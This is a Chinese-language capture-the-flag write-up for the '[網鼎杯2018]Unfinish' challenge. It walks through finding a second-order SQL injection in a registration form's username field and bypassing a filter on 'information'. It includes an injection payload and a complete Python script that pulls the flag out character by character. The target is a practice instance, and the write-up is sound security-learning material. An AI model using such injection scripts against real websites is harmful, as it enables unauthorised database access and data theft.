1. 程式人生 > 其它 >[網鼎杯2018]Unfinish

[網鼎杯2018]Unfinish

 

 一個登入介面,簡單測試了下沒有發現什麼注入點。。

用御劍掃了一下

掃出了個register.php

隨便註冊了下

 

 

登入進去發現沒有東西,只有一張圖片和使用者名稱

猜測存在二次注入

隨便試一下

 

 

 

 使用者名稱顯示為0

存在注入

fuzz了下發現故過濾了,和information

然後繞不過去。。

去看了下別人的wp

學到了新姿勢

select '0'+ascii(substr(database(),1,1));

 

 可以得到庫名第一位的ascii碼

因為被過濾掉了information

所以爆不出欄位名

猜測是flag

試試看

0'+ascii(substr((select * from flag) from 1 for 1))+'0
可以成功爆出值,說明欄位名就是flag

 

就可以寫指令碼了

#coding:utf-8
import requests
import re


url = 'http://77a4fe69-f67f-4944-810f-6afe6ef17230.node4.buuoj.cn:81/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'
password':'123456'} login = {'email':'abc{}@qq.com'.format(i),'password':'123456'} req = requests.session() r1 = req.post(url+'register.php',data = register) r2 = req.post(url+'login.php', data = login) r3 = req.post(url+'index.php') content = r3.text con = re.findall('<span class="user-name">(.*?)</span>
',content,re.S|re.M) a = int (con[0].strip()) m = m+chr(a) print(m)